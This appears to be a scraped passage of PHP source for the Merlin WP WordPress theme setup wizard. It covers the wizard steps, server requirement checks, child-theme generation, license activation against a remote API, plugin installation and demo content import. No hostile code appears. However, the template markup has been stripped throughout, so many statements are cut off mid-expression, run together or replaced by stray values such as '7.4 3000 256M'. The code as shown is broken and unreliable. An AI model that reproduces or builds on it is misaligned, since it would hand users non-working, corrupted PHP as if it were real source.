TGMPA is included. if ( class_exists( 'TGM_Plugin_Activation' ) ) { $this->steps['plugins'] = array( 'name' => esc_html__( 'Plugins', 'merlin-wp' ), 'view' => array( $this, 'plugins' ), ); } // Show the content importer, only if there's demo content added. if ( ! empty( $this->import_files ) ) { $this->steps['content'] = array( 'name' => esc_html__( 'Content', 'merlin-wp' ), 'view' => array( $this, 'content' ), ); } $this->steps['ready'] = array( 'name' => esc_html__( 'Ready', 'merlin-wp' ), 'view' => array( $this, 'ready' ), ); $this->steps = apply_filters( $this->theme->template . '_merlin_steps', $this->steps ); } /** * Output the steps */ protected function step_output() { $ouput_steps = $this->steps; $array_keys = array_keys( $this->steps ); $current_step = array_search( $this->step, $array_keys, true ); array_shift( $ouput_steps ); ?>
      $step ) : $class_attr = ''; $show_link = false; if ( $step_key === $this->step ) { $class_attr = 'active'; } elseif ( $current_step > array_search( $step_key, $array_keys, true ) ) { $class_attr = 'done'; $show_link = true; } ?>
    steps ); $step = array_search( $this->step, $keys, true ) + 1; return add_query_arg( 'step', $keys[ $step ] ); } /** * Introduction step */ protected function welcome() { // Has this theme been setup yet? Compare this to the option set when you get to the last panel. $already_setup = get_option( 'merlin_' . $this->slug . '_completed' ); // Theme Name. $theme = ucfirst( $this->theme ); // Remove "Child" from the current theme name, if it's installed. $theme = str_replace( ' Child', '', $theme ); // Strings passed in from the config file. $strings = $this->strings; // Text strings. $header = ! $already_setup ? $strings['welcome-header%s'] : $strings['welcome-header-success%s']; $paragraph = ! $already_setup ? $strings['welcome%s'] : $strings['welcome-success%s']; $start = $strings['btn-start']; $no = $strings['btn-no']; ?>
    svg( array( 'icon' => 'welcome' ) ), $this->svg_allowed_html() ); ?>

    server_requirements($step = 'welcome') ?>

    logger->debug( __( 'The welcome step has been displayed', 'merlin-wp' ) ); } protected function server_requirements($step) { $go = true; $memory_limit = intval(substr(ini_get('memory_limit'), 0, -1)); if ($memory_limit < 256) { $memory_limit = 'error'; $go = false; } $max_input_vars = intval(ini_get('max_input_vars')); if ($max_input_vars < 3000) { $max_input_vars = 'error'; $go = false; } $max_execution_time = intval(ini_get('max_execution_time')); if ($max_execution_time < 300 && $max_execution_time > 0 ) { $max_execution_time = 'error'; $go = false; } $upload_max_filesize = intval(substr(size_format( wp_max_upload_size() ), 0, -1)); if ($upload_max_filesize < 6 ) { $upload_max_filesize = 'error'; $go = false; } if ( ! (function_exists( 'fsockopen' ) || function_exists( 'curl_init' ) ) ) { $go = false; $fsockopen = true; } $posting['gzip']['name'] = 'GZip'; if ( !is_callable( 'gzopen' ) ) { $go = false; } if (!ini_get('allow_url_fopen')) { $go = false; } ?>
    ', esc_html__( 'Upgrade message from the plugin author:', 'tgmpa' ), ' ', wp_kses_data( $item['upgrade_notice'] ), '
    =') ? 'yes' : 'error'; ?> 999) { $color = 'yellow'; } else { $color = 'red'; } ?> [?]'; if ( (function_exists( 'fsockopen' ) || function_exists( 'curl_init' ) ) ) { $posting['fsockopen_curl']['success'] = true; } else { $posting['fsockopen_curl']['success'] = false; $posting['fsockopen_curl']['note'] = 'Disabled'; } // GZIP $posting['gzip']['name'] = 'GZip'; if ( is_callable( 'gzopen' ) ) { $posting['gzip']['success'] = true; } else { $posting['gzip']['success'] = false; $posting['gzip']['note'] = 'Disabled.'; } foreach ( $posting as $post ) { $mark = ! empty( $post['success'] ) ? 'yes' : 'error'; ?>
    7.4
    3000
    256M
    300
    :
    12M
    :

    ', '' ); ?>

    ', '' ); ?>

    ', '' ); ?>

    is_theme_registered(); $action_url = $this->theme_license_help_url; $required = $this->license_required; $is_theme_registered_class = ( $is_theme_registered ) ? ' is-registered' : null; // Theme Name. $theme = ucfirst( $this->theme ); // Remove "Child" from the current theme name, if it's installed. $theme = str_replace( ' Child', '', $theme ); // Strings passed in from the config file. $strings = $this->strings; // Text strings. $header = ! $is_theme_registered ? $strings['license-header%s'] : $strings['license-header-success%s']; $action = $strings['license-tooltip']; $label = $strings['license-label']; $skip = $strings['btn-license-skip']; $next = $strings['btn-next']; $paragraph = ! $is_theme_registered ? $strings['license%s'] : $strings['license-success%s']; $install = $strings['btn-license-activate']; ?>
    svg( array( 'icon' => 'license' ) ), $this->svg_allowed_html() ); ?>

    logger->debug( __( 'The license activation step has been displayed', 'merlin-wp' ) ); } /** * Check, if the theme is currently registered. * * @return boolean */ private function is_theme_registered() { $is_registered = get_option( $this->edd_theme_slug . '_license_key_status', false ) === 'valid'; return apply_filters( 'merlin_is_theme_registered', $is_registered ); } /** * Child theme generator. */ protected function child() { // Variables. $is_child_theme = is_child_theme(); $child_theme_option = get_option( 'merlin_' . $this->slug . '_child' ); $theme = $child_theme_option ? wp_get_theme( $child_theme_option )->name : $this->theme . ' Child'; $action_url = $this->child_action_btn_url; // Strings passed in from the config file. $strings = $this->strings; // Text strings. $header = ! $is_child_theme ? $strings['child-header'] : $strings['child-header-success']; $action = $strings['child-action-link']; $skip = $strings['btn-skip']; $next = $strings['btn-next']; $paragraph = ! $is_child_theme ? $strings['child'] : $strings['child-success%s']; $install = $strings['btn-child-install']; ?>
    svg( array( 'icon' => 'child' ) ), $this->svg_allowed_html() ); ?>

    logger->debug( __( 'The child theme installation step has been displayed', 'merlin-wp' ) ); } /** * Theme plugins */ protected function plugins() { // Variables. $url = wp_nonce_url( add_query_arg( array( 'plugins' => 'go' ) ), 'merlin' ); $method = ''; $fields = array_keys( $_POST ); $creds = request_filesystem_credentials( esc_url_raw( $url ), $method, false, false, $fields ); tgmpa_load_bulk_installer(); if ( false === $creds ) { return true; } if ( ! WP_Filesystem( $creds ) ) { request_filesystem_credentials( esc_url_raw( $url ), $method, true, false, $fields ); return true; } // Are there plugins that need installing/activating? $plugins = $this->get_tgmpa_plugins(); $required_plugins = $recommended_plugins = array(); $count = count( $plugins['all'] ); $class = $count ? null : 'no-plugins'; // Split the plugins into required and recommended. foreach ( $plugins['all'] as $slug => $plugin ) { if ( ! empty( $plugin['required'] ) ) { $required_plugins[ $slug ] = $plugin; } else { $recommended_plugins[ $slug ] = $plugin; } } // Strings passed in from the config file. $strings = $this->strings; // Text strings. $header = $count ? $strings['plugins-header'] : $strings['plugins-header-success']; $paragraph = $count ? $strings['plugins'] : $strings['plugins-success%s']; $action = $strings['plugins-action-link']; $skip = $strings['btn-skip']; $next = $strings['btn-next']; $install = $strings['btn-plugins-install']; ?>
    svg( array( 'icon' => 'plugins' ) ), $this->svg_allowed_html() ); ?>

      $plugin ) : ?>
    • $plugin ) : ?>
    logger->debug( __( 'The plugin installation step has been displayed', 'merlin-wp' ) ); } /** * Page setup */ protected function content() { $import_info = $this->get_import_data_info(); // Strings passed in from the config file. $strings = $this->strings; // Text strings. $header = $strings['import-header']; $paragraph = $strings['import']; $demos = $strings['import-demo-link']; $action = $strings['import-action-link']; $skip = $strings['btn-skip']; $next = $strings['btn-next']; $import = $strings['btn-import']; $multi_import = ( 1 < count( $this->import_files ) ) ? 'is-multi-import' : null; $allowed_html_array = array( 'a' => array( 'href' => array(), 'title' => array(), 'target' => array(), ), ); ?>
    svg( array( 'icon' => 'content' ) ), $this->svg_allowed_html() ); ?>

    server_requirements($step = 'import') ?>

    import_files ) ) : ?>
    import_files as $index => $import_file ) : ?>
    svg( array( 'icon' => 'downarrow' ) ), $this->svg_allowed_html() ); ?>
      get_import_steps_html( $import_info ); ?>
    logger->debug( __( 'The content import step has been displayed', 'merlin-wp' ) ); } /** * Final step */ protected function ready() { // Author name. $author = $this->theme->author; // Theme Name. $theme = ucfirst( $this->theme ); // Remove "Child" from the current theme name, if it's installed. $theme = str_replace( ' Child', '', $theme ); // Strings passed in from the config file. $strings = $this->strings; // Text strings. $header = $strings['ready-header']; $paragraph = $strings['ready%s']; $action = $strings['ready-action-link']; $skip = $strings['btn-skip']; $next = $strings['btn-next']; $big_btn = $strings['ready-big-button']; // Links. $links = array(); for ( $i = 1; $i < 4; $i++ ) { if ( ! empty( $strings[ "ready-link-$i" ] ) ) { $links[] = $strings[ "ready-link-$i" ]; } } $links_class = empty( $links ) ? 'merlin__content__footer--nolinks' : null; $allowed_html_array = array( 'a' => array( 'href' => array(), 'title' => array(), 'target' => array(), ), ); update_option( 'merlin_' . $this->slug . '_completed', time() ); ?>
    svg( array( 'icon' => 'done' ) ), $this->svg_allowed_html() ); ?>

    logger->debug( __( 'The final step has been displayed', 'merlin-wp' ) ); } /** * Get registered TGMPA plugins * * @return array */ protected function get_tgmpa_plugins() { $plugins = array( 'all' => array(), // Meaning: all plugins which still have open actions. 'install' => array(), 'update' => array(), 'activate' => array(), ); foreach ( $this->tgmpa->plugins as $slug => $plugin ) { if ( $this->tgmpa->is_plugin_active( $slug ) && false === $this->tgmpa->does_plugin_have_update( $slug ) ) { continue; } else { $plugins['all'][ $slug ] = $plugin; if ( ! $this->tgmpa->is_plugin_installed( $slug ) ) { $plugins['install'][ $slug ] = $plugin; } else { if ( false !== $this->tgmpa->does_plugin_have_update( $slug ) ) { $plugins['update'][ $slug ] = $plugin; } if ( $this->tgmpa->can_plugin_activate( $slug ) ) { $plugins['activate'][ $slug ] = $plugin; } } } } return $plugins; } /** * Generate the child theme via AJAX. */ public function generate_child() { // Strings passed in from the config file. $strings = $this->strings; // Text strings. $success = $strings['child-json-success%s']; $already = $strings['child-json-already%s']; $name = $this->theme . ' Child'; $slug = sanitize_title( $name ); $path = get_theme_root() . '/' . $slug; if ( ! file_exists( $path ) ) { WP_Filesystem(); global $wp_filesystem; $wp_filesystem->mkdir( $path ); $wp_filesystem->put_contents( $path . '/style.css', $this->generate_child_style_css( $this->theme->template, $this->theme->name, $this->theme->author, $this->theme->version ) ); $wp_filesystem->put_contents( $path . '/functions.php', $this->generate_child_functions_php( $this->theme->template ) ); $this->generate_child_screenshot( $path ); $allowed_themes = get_option( 'allowedthemes' ); $allowed_themes[ $slug ] = true; update_option( 'allowedthemes', $allowed_themes ); } else { if ( $this->theme->template !== $slug ) : update_option( 'merlin_' . $this->slug . '_child', $name ); switch_theme( $slug ); endif; $this->logger->debug( __( 'The existing child theme was activated', 'merlin-wp' ) ); wp_send_json( array( 'done' => 1, 'message' => sprintf( esc_html( $success ), $slug ), ) ); } if ( $this->theme->template !== $slug ) : update_option( 'merlin_' . $this->slug . '_child', $name ); switch_theme( $slug ); endif; $this->logger->debug( __( 'The newly generated child theme was activated', 'merlin-wp' ) ); wp_send_json( array( 'done' => 1, 'message' => sprintf( esc_html( $already ), $name ), ) ); } /** * Activate the theme (license key) via AJAX. */ public function _ajax_activate_license() { if ( ! check_ajax_referer( 'merlin_nonce', 'wpnonce' ) ) { wp_send_json( array( 'success' => false, 'message' => esc_html__( 'Yikes! The theme activation failed. Please try again or contact support.', 'merlin-wp' ), ) ); } if ( empty( $_POST['license_key'] ) ) { wp_send_json( array( 'success' => false, 'message' => esc_html__( 'Please add your license key before attempting to activate one.', 'merlin-wp' ), ) ); } $license_key = sanitize_key( $_POST['license_key'] ); if ( ! has_filter( 'merlin_ajax_activate_license' ) ) { $result = $this->edd_activate_license( $license_key ); } else { $result = apply_filters( 'merlin_ajax_activate_license', $license_key ); } $this->logger->debug( __( 'The license activation was performed with the following results', 'merlin-wp' ), $result ); wp_send_json( array_merge( array( 'done' => 1 ), $result ) ); } /** * Activate the EDD license. * * This code was taken from the EDD licensing addon theme example code * (`activate_license` method of the `EDD_Theme_Updater_Admin` class). * * @param string $license The license key. * * @return array */ protected function edd_activate_license( $license ) { $success = false; // Strings passed in from the config file. $strings = $this->strings; // Theme Name. $theme = ucfirst( $this->theme ); // Remove "Child" from the current theme name, if it's installed. $theme = str_replace( ' Child', '', $theme ); // Text strings. $success_message = $strings['license-json-success%s']; // Data to send in our API request. $api_params = array( 'edd_action' => 'activate_license', 'license' => rawurlencode( $license ), 'item_name' => rawurlencode( $this->edd_item_name ), 'url' => esc_url( home_url( '/' ) ), ); $response = $this->edd_get_api_response( $api_params ); // Make sure the response came back okay. if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) { if ( is_wp_error( $response ) ) { $message = $response->get_error_message(); } else { $message = esc_html__( 'An error occurred, please try again.', 'merlin-wp' ); } } else { $license_data = json_decode( wp_remote_retrieve_body( $response ) ); if ( false === $license_data->success ) { switch ( $license_data->error ) { case 'expired': $message = sprintf( /* translators: Expiration date */ esc_html__( 'Your license key expired on %s.', 'merlin-wp' ), date_i18n( get_option( 'date_format' ), strtotime( $license_data->expires, current_time( 'timestamp' ) ) ) ); break; case 'revoked': $message = esc_html__( 'Your license key has been disabled.', 'merlin-wp' ); break; case 'missing': $message = esc_html__( 'This appears to be an invalid license key. Please try again or contact support.', 'merlin-wp' ); break; case 'invalid': case 'site_inactive': $message = esc_html__( 'Your license is not active for this URL.', 'merlin-wp' ); break; case 'item_name_mismatch': /* translators: EDD Item Name */ $message = sprintf( esc_html__( 'This appears to be an invalid license key for %s.', 'merlin-wp' ), $this->edd_item_name ); break; case 'no_activations_left': $message = esc_html__( 'Your license key has reached its activation limit.', 'merlin-wp' ); break; default: $message = esc_html__( 'An error occurred, please try again.', 'merlin-wp' ); break; } } else { if ( 'valid' === $license_data->license ) { $message = sprintf( esc_html( $success_message ), $theme ); $success = true; // Removes the default EDD hook for this option, which breaks the AJAX call. remove_all_actions( 'update_option_' . $this->edd_theme_slug . '_license_key', 10 ); update_option( $this->edd_theme_slug . '_license_key_status', $license_data->license ); update_option( $this->edd_theme_slug . '_license_key', $license ); } } } return compact( 'success', 'message' ); } /** * Makes a call to the API. * * This code was taken from the EDD licensing addon theme example code * (`get_api_response` method of the `EDD_Theme_Updater_Admin` class). * * @param array $api_params to be used for wp_remote_get. * @return array $response JSON response. */ private function edd_get_api_response( $api_params ) { $verify_ssl = (bool) apply_filters( 'edd_sl_api_request_verify_ssl', true ); $response = wp_remote_post( $this->edd_remote_api_url, array( 'timeout' => 15, 'sslverify' => $verify_ssl, 'body' => $api_params, ) ); return $response; } /** * Content template for the child theme functions.php file. * * @link https://gist.github.com/richtabor/688327dd103b1aa826ebae47e99a0fbe * * @param string $slug Parent theme slug. */ public function generate_child_functions_php( $slug ) { $slug_no_hyphens = strtolower( preg_replace( '#[^a-zA-Z]#', '', $slug ) ); $output = " get('Version') ); } add_action( 'wp_enqueue_scripts', '{$slug_no_hyphens}_child_enqueue_styles' );\n "; // Let's remove the tabs so that it displays nicely. $output = trim( preg_replace( '/\t+/', '', $output ) ); $this->logger->debug( __( 'The child theme functions.php content was generated', 'merlin-wp' ) ); // Filterable return. return apply_filters( 'merlin_generate_child_functions_php', $output, $slug ); } /** * Content template for the child theme functions.php file. * * @link https://gist.github.com/richtabor/7d88d279706fc3093911e958fd1fd791 * * @param string $slug Parent theme slug. * @param string $parent Parent theme name. * @param string $author Parent theme author. * @param string $version Parent theme version. */ public function generate_child_style_css( $slug, $parent, $author, $version ) { $output = " /** * Theme Name: {$parent} Child Theme * Description: This is a child theme of {$parent}, automatically generated. * Author: {$author} * Template: {$slug} * Version: {$version} */\n "; // Let's remove the tabs so that it displays nicely. $output = trim( preg_replace( '/\t+/', '', $output ) ); $this->logger->debug( __( 'The child theme style.css content was generated', 'merlin-wp' ) ); return apply_filters( 'merlin_generate_child_style_css', $output, $slug, $parent, $version ); } /** * Generate child theme screenshot file. * * @param string $path Child theme path. */ public function generate_child_screenshot( $path ) { $screenshot = apply_filters( 'merlin_generate_child_screenshot', '' ); if ( ! empty( $screenshot ) ) { // Get custom screenshot file extension if ( '.png' === substr( $screenshot, -4 ) ) { $screenshot_ext = 'png'; } else { $screenshot_ext = 'jpg'; } } else { if ( file_exists( $this->base_path . '/screenshot.png' ) ) { $screenshot = $this->base_path . '/screenshot.png'; $screenshot_ext = 'png'; } elseif ( file_exists( $this->base_path . '/screenshot.jpg' ) ) { $screenshot = $this->base_path . '/screenshot.jpg'; $screenshot_ext = 'jpg'; } } if ( ! empty( $screenshot ) && file_exists( $screenshot ) ) { $copied = copy( $screenshot, $path . '/screenshot.' . $screenshot_ext ); $this->logger->debug( __( 'The child theme screenshot was copied to the child theme, with the following result', 'merlin-wp' ), array( 'copied' => $copied ) ); } else { $this->logger->debug( __( 'The child theme screenshot was not generated, because of these results', 'merlin-wp' ), array( 'screenshot' => $screenshot ) ); } } /** * Do plugins' AJAX * * @internal Used as a calback. */ function _ajax_plugins() { if ( ! check_ajax_referer( 'merlin_nonce', 'wpnonce' ) || empty( $_POST['slug'] ) ) { exit( 0 ); } $json = array(); $tgmpa_url = $this->tgmpa->get_tgmpa_url(); $plugins = $this->get_tgmpa_plugins(); foreach ( $plugins['activate'] as $slug => $plugin ) { if ( $_POST['slug'] === $slug ) { $json = array( 'url' => $tgmpa_url, 'plugin' => array( $slug ), 'tgmpa-page' => $this->tgmpa->menu, 'plugin_status' => 'all', '_wpnonce' => wp_create_nonce( 'bulk-plugins' ), 'action' => 'tgmpa-bulk-activate', 'action2' => - 1, 'message' => esc_html__( 'Activating', 'merlin-wp' ), ); break; } } foreach ( $plugins['update'] as $slug => $plugin ) { if ( $_POST['slug'] === $slug ) { $json = array( 'url' => $tgmpa_url, 'plugin' => array( $slug ), 'tgmpa-page' => $this->tgmpa->menu, 'plugin_status' => 'all', '_wpnonce' => wp_create_nonce( 'bulk-plugins' ), 'action' => 'tgmpa-bulk-update', 'action2' => - 1, 'message' => esc_html__( 'Updating', 'merlin-wp' ), ); break; } } foreach ( $plugins['install'] as $slug => $plugin ) { if ( $_POST['slug'] === $slug ) { $json = array( 'url' => $tgmpa_url, 'plugin' => array( $slug ), 'tgmpa-page' => $this->tgmpa->menu, 'plugin_status' => 'all', '_wpnonce' => wp_create_nonce( 'bulk-plugins' ), 'action' => 'tgmpa-bulk-install', 'action2' => - 1, 'message' => esc_html__( 'Installing', 'merlin-wp' ), ); break; } } if ( $json ) { $this->logger->debug( __( 'A plugin with the following data will be processed', 'merlin-wp' ), array( 'plugin_slug' => $_POST['slug'], 'message' => $json['message'], ) ); $json['hash'] = md5( serialize( $json ) ); $json['message'] = esc_html__( 'Installing', 'merlin-wp' ); wp_send_json( $json ); } else { $this->logger->debug( __( 'A plugin with the following data was processed', 'merlin-wp' ), array( 'plugin_slug' => $_POST['slug'], ) ); wp_send_json( array( 'done' => 1, 'message' => esc_html__( 'Success', 'merlin-wp' ), ) ); } exit; } /** * Do content's AJAX * * @internal Used as a callback. */ function _ajax_content() { static $content = null; $selected_import = intval( $_POST['selected_index'] ); if ( null === $content ) { $content = $this->get_import_data( $selected_import ); } if ( ! check_ajax_referer( 'merlin_nonce', 'wpnonce' ) || empty( $_POST['content'] ) && isset( $content[ $_POST['content'] ] ) ) { $this->logger->error( __( 'The content importer AJAX call failed to start, because of incorrect data', 'merlin-wp' ) ); wp_send_json_error( array( 'error' => 1, 'message' => esc_html__( 'Invalid content!', 'merlin-wp' ), ) ); } $json = false; $this_content = $content[ $_POST['content'] ]; if ( isset( $_POST['proceed'] ) ) { if ( is_callable( $this_content['install_callback'] ) ) { $this->logger->info( __( 'The content import AJAX call will be executed with this import data', 'merlin-wp' ), array( 'title' => $this_content['title'], 'data' => $this_content['data'], ) ); $logs = call_user_func( $this_content['install_callback'], $this_content['data'] ); if ( $logs ) { $json = array( 'done' => 1, 'message' => $this_content['success'], 'debug' => '', 'logs' => $logs, 'errors' => '', ); // The content import ended, so we should mark that all posts were imported. if ( 'content' === $_POST['content'] ) { $json['num_of_imported_posts'] = 'all'; } } } } else { $json = array( 'url' => admin_url( 'admin-ajax.php' ), 'action' => 'merlin_content', 'proceed' => 'true', 'content' => $_POST['content'], '_wpnonce' => wp_create_nonce( 'merlin_nonce' ), 'selected_index' => $selected_import, 'message' => $this_content['installing'], 'logs' => '', 'errors' => '', ); } if ( $json ) { $json['hash'] = md5( serialize( $json ) ); wp_send_json( $json ); } else { $this->logger->error( __( 'The content import AJAX call failed with this passed data', 'merlin-wp' ), array( 'selected_content_index' => $selected_import, 'importing_content' => $_POST['content'], 'importing_data' => $this_content['data'], ) ); wp_send_json( array( 'error' => 1, 'message' => esc_html__( 'Error', 'merlin-wp' ), 'logs' => '', 'errors' => '', ) ); } } /** * AJAX call to retrieve total items (posts, pages, CPT, attachments) for the content import. */ public function _ajax_get_total_content_import_items() { if ( ! check_ajax_referer( 'merlin_nonce', 'wpnonce' ) && empty( $_POST['selected_index'] ) ) { $this->logger->error( __( 'The content importer AJAX call for retrieving total content import items failed to start, because of incorrect data.', 'merlin-wp' ) ); wp_send_json_error( array( 'error' => 1, 'message' => esc_html__( 'Invalid data!', 'merlin-wp' ), ) ); } $selected_import = intval( $_POST['selected_index'] ); $import_files = $this->get_import_files_paths( $selected_import ); wp_send_json_success( $this->importer->get_number_of_posts_to_import( $import_files['content'] ) ); } /** * Get import data from the selected import. * Which data does the selected import have for the import. * * @param int $selected_import_index The index of the predefined demo import. * * @return bool|array */ public function get_import_data_info( $selected_import_index = 0 ) { $import_data = array( 'content' => false, 'widgets' => false, 'options' => false, 'sliders' => false, 'redux' => false, 'after_import' => false, ); if ( empty( $this->import_files[ $selected_import_index ] ) ) { return false; } if ( ! empty( $this->import_files[ $selected_import_index ]['import_file_url'] ) || ! empty( $this->import_files[ $selected_import_index ]['local_import_file'] ) ) { $import_data['content'] = true; } if ( ! empty( $this->import_files[ $selected_import_index ]['import_widget_file_url'] ) || ! empty( $this->import_files[ $selected_import_index ]['local_import_widget_file'] ) ) { $import_data['widgets'] = true; } if ( ! empty( $this->import_files[ $selected_import_index ]['import_customizer_file_url'] ) || ! empty( $this->import_files[ $selected_import_index ]['local_import_customizer_file'] ) ) { $import_data['options'] = true; } if ( ! empty( $this->import_files[ $selected_import_index ]['import_rev_slider_file_url'] ) || ! empty( $this->import_files[ $selected_import_index ]['local_import_rev_slider_file'] ) ) { $import_data['sliders'] = true; } if ( ! empty( $this->import_files[ $selected_import_index ]['import_redux'] ) || ! empty( $this->import_files[ $selected_import_index ]['local_import_redux'] ) ) { $import_data['redux'] = true; } if ( false !== has_action( 'merlin_after_all_import' ) ) { $import_data['after_import'] = true; } return $import_data; } /** * Get the import files/data. * * @param int $selected_import_index The index of the predefined demo import. * * @return array */ protected function get_import_data( $selected_import_index = 0 ) { $content = array(); $import_files = $this->get_import_files_paths( $selected_import_index ); if ( ! empty( $import_files['content'] ) ) { $content['content'] = array( 'title' => esc_html__( 'Content', 'merlin-wp' ), 'description' => esc_html__( 'Demo content data.', 'merlin-wp' ), 'pending' => esc_html__( 'Pending', 'merlin-wp' ), 'installing' => esc_html__( 'Installing', 'merlin-wp' ), 'success' => esc_html__( 'Success', 'merlin-wp' ), 'checked' => $this->is_possible_upgrade() ? 0 : 1, 'install_callback' => array( $this->importer, 'import' ), 'data' => $import_files['content'], ); } if ( ! empty( $import_files['widgets'] ) ) { $content['widgets'] = array( 'title' => esc_html__( 'Widgets', 'merlin-wp' ), 'description' => esc_html__( 'Sample widgets data.', 'merlin-wp' ), 'pending' => esc_html__( 'Pending', 'merlin-wp' ), 'installing' => esc_html__( 'Installing', 'merlin-wp' ), 'success' => esc_html__( 'Success', 'merlin-wp' ), 'install_callback' => array( 'Merlin_Widget_Importer', 'import' ), 'checked' => $this->is_possible_upgrade() ? 0 : 1, 'data' => $import_files['widgets'], ); } if ( ! empty( $import_files['sliders'] ) ) { $content['sliders'] = array( 'title' => esc_html__( 'Revolution Slider', 'merlin-wp' ), 'description' => esc_html__( 'Sample Revolution sliders data.', 'merlin-wp' ), 'pending' => esc_html__( 'Pending', 'merlin-wp' ), 'installing' => esc_html__( 'Installing', 'merlin-wp' ), 'success' => esc_html__( 'Success', 'merlin-wp' ), 'install_callback' => array( $this, 'import_revolution_sliders' ), 'checked' => $this->is_possible_upgrade() ? 0 : 1, 'data' => $import_files['sliders'], ); } if ( ! empty( $import_files['options'] ) ) { $content['options'] = array( 'title' => esc_html__( 'Options', 'merlin-wp' ), 'description' => esc_html__( 'Sample theme options data.', 'merlin-wp' ), 'pending' => esc_html__( 'Pending', 'merlin-wp' ), 'installing' => esc_html__( 'Installing', 'merlin-wp' ), 'success' => esc_html__( 'Success', 'merlin-wp' ), 'install_callback' => array( 'Merlin_Customizer_Importer', 'import' ), 'checked' => $this->is_possible_upgrade() ? 0 : 1, 'data' => $import_files['options'], ); } if ( ! empty( $import_files['redux'] ) ) { $content['redux'] = array( 'title' => esc_html__( 'Redux Options', 'merlin-wp' ), 'description' => esc_html__( 'Redux framework options.', 'merlin-wp' ), 'pending' => esc_html__( 'Pending', 'merlin-wp' ), 'installing' => esc_html__( 'Installing', 'merlin-wp' ), 'success' => esc_html__( 'Success', 'merlin-wp' ), 'install_callback' => array( 'Merlin_Redux_Importer', 'import' ), 'checked' => $this->is_possible_upgrade() ? 0 : 1, 'data' => $import_files['redux'], ); } if ( false !== has_action( 'merlin_after_all_import' ) ) { $content['after_import'] = array( 'title' => esc_html__( 'After import setup', 'merlin-wp' ), 'description' => esc_html__( 'After import setup.', 'merlin-wp' ), 'pending' => esc_html__( 'Pending', 'merlin-wp' ), 'installing' => esc_html__( 'Installing', 'merlin-wp' ), 'success' => esc_html__( 'Success', 'merlin-wp' ), 'install_callback' => array( $this->hooks, 'after_all_import_action' ), 'checked' => $this->is_possible_upgrade() ? 0 : 1, 'data' => $selected_import_index, ); } $content = apply_filters( 'merlin_get_base_content', $content, $this ); return $content; } /** * Import revolution slider. * * @param string $file Path to the revolution slider zip file. */ public function import_revolution_sliders( $file ) { if ( ! class_exists( 'RevSlider', false ) ) { return 'failed'; } $importer = new RevSlider(); $response = $importer->importSliderFromPost( true, true, $file ); $this->logger->info( __( 'The revolution slider import was executed', 'merlin-wp' ) ); if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) { return 'true'; } } /** * Change the new AJAX request response data. * * @param array $data The default data. * * @return array The updated data. */ public function pt_importer_new_ajax_request_response_data( $data ) { $data['url'] = admin_url( 'admin-ajax.php' ); $data['message'] = esc_html__( 'Installing', 'merlin-wp' ); $data['proceed'] = 'true'; $data['action'] = 'merlin_content'; $data['content'] = 'content'; $data['_wpnonce'] = wp_create_nonce( 'merlin_nonce' ); $data['hash'] = md5( rand() ); // Has to be unique (check JS code catching this AJAX response). return $data; } /** * After content import setup code. */ public function after_content_import_setup() { // Set static homepage. $homepage = get_page_by_title( apply_filters( 'merlin_content_home_page_title', 'Home' ) ); if ( $homepage ) { update_option( 'page_on_front', $homepage->ID ); update_option( 'show_on_front', 'page' ); $this->logger->debug( __( 'The home page was set', 'merlin-wp' ), array( 'homepage_id' => $homepage ) ); } // Set static blog page. $blogpage = get_page_by_title( apply_filters( 'merlin_content_blog_page_title', 'Blog' ) ); if ( $blogpage ) { update_option( 'page_for_posts', $blogpage->ID ); update_option( 'show_on_front', 'page' ); $this->logger->debug( __( 'The blog page was set', 'merlin-wp' ), array( 'blog_page_id' => $blogpage ) ); } } /** * Before content import setup code. */ public function before_content_import_setup() { // Update the Hello World! post by making it a draft. $hello_world = get_page_by_title( 'Hello World!', OBJECT, 'post' ); if ( ! empty( $hello_world ) ) { $hello_world->post_status = 'draft'; wp_update_post( $hello_world ); $this->logger->debug( __( 'The Hello world post status was set to draft', 'merlin-wp' ) ); } } /** * Register the import files via the `merlin_import_files` filter. */ public function register_import_files() { $this->import_files = $this->validate_import_file_info( apply_filters( 'merlin_import_files', array() ) ); } /** * Filter through the array of import files and get rid of those who do not comply. * * @param array $import_files list of arrays with import file details. * @return array list of filtered arrays. */ public function validate_import_file_info( $import_files ) { $filtered_import_file_info = array(); foreach ( $import_files as $import_file ) { if ( ! empty( $import_file['import_file_name'] ) ) { $filtered_import_file_info[] = $import_file; } else { $this->logger->warning( __( 'This predefined demo import does not have the name parameter: import_file_name', 'merlin-wp' ), $import_file ); } } return $filtered_import_file_info; } /** * Set the import file base name. * Check if an existing base name is available (saved in a transient). */ public function set_import_file_base_name() { $existing_name = get_transient( 'merlin_import_file_base_name' ); if ( ! empty( $existing_name ) ) { $this->import_file_base_name = $existing_name; } else { $this->import_file_base_name = date( 'Y-m-d__H-i-s' ); } set_transient( 'merlin_import_file_base_name', $this->import_file_base_name, MINUTE_IN_SECONDS ); } /** * Get the import file paths. * Grab the defined local paths, download the files or reuse existing files. * * @param int $selected_import_index The index of the selected import. * * @return array */ public function get_import_files_paths( $selected_import_index ) { $selected_import_data = empty( $this->import_files[ $selected_import_index ] ) ? false : $this->import_files[ $selected_import_index ]; if ( empty( $selected_import_data ) ) { return array(); } // Set the base name for the import files. $this->set_import_file_base_name(); $base_file_name = $this->import_file_base_name; $import_files = array( 'content' => '', 'widgets' => '', 'options' => '', 'redux' => array(), 'sliders' => '', ); $downloader = new Merlin_Downloader(); // Check if 'import_file_url' is not defined. That would mean a local file. if ( empty( $selected_import_data['import_file_url'] ) ) { if ( ! empty( $selected_import_data['local_import_file'] ) && file_exists( $selected_import_data['local_import_file'] ) ) { $import_files['content'] = $selected_import_data['local_import_file']; } } else { // Set the filename string for content import file. $content_filename = 'content-' . $base_file_name . '.xml'; // Retrieve the content import file. $import_files['content'] = $downloader->fetch_existing_file( $content_filename ); // Download the file, if it's missing. if ( empty( $import_files['content'] ) ) { $import_files['content'] = $downloader->download_file( $selected_import_data['import_file_url'], $content_filename ); } // Reset the variable, if there was an error. if ( is_wp_error( $import_files['content'] ) ) { $import_files['content'] = ''; } } // Get widgets file as well. If defined! if ( ! empty( $selected_import_data['import_widget_file_url'] ) ) { // Set the filename string for widgets import file. $widget_filename = 'widgets-' . $base_file_name . '.json'; // Retrieve the content import file. $import_files['widgets'] = $downloader->fetch_existing_file( $widget_filename ); // Download the file, if it's missing. if ( empty( $import_files['widgets'] ) ) { $import_files['widgets'] = $downloader->download_file( $selected_import_data['import_widget_file_url'], $widget_filename ); } // Reset the variable, if there was an error. if ( is_wp_error( 